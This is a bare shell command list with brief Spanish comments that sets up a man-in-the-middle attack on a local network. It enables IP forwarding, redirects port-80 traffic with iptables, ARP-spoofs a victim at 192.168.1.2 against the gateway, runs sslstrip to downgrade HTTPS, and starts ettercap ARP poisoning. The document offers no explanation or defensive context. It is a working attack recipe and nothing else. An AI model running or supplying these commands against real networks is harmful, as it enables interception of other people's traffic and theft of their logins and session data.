sysctl -w net.ipv4.ip_forward=1
cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080
######opcional
arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
######otra pestaña
python sslstrip.py -l 1000
######otra pestaña
ettercap -Tq -i eth0
o ettercap -T -q -i eth0 -M arp // //